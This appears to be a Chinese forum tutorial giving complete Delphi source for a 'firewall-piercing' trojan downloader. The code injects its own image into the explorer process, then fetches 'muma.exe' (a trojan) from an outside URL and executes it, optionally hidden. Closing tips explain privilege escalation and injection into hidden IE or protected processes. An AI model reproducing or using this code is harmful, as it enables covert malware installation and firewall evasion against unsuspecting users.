这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL，而是本身的一个过程。下面是代码，由于本人专业知识不够，可能有些说法不太专业。
program InjectTheSelf;

{$IMAGEBASE $13140000}

uses Windows, Urlmon;

procedure Download; //下载过程
begin
URLDownloadToFile(nil, 'http://www.mycode.ful.cn/muma.exe', 'C:\muma.exe', 0, nil);
WinExec('C:\muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;

var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;

begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存

hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置

WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作

CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成

CloseHandle(ProcessHandle);
//关闭对像
end.

需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码。但其还是有很多BUG的。如果你想写属于自己的下载者，请注意解决下面几个问题：

1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。
2、Windows和一些应用程序对某些进程做了保护，不允许进程进行越权操作。如Svchost、QQ等进程的注入，必须先进行提权操作。
3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程，将程序挂起3秒后再进行注入。这个是针对一些老机器而作的。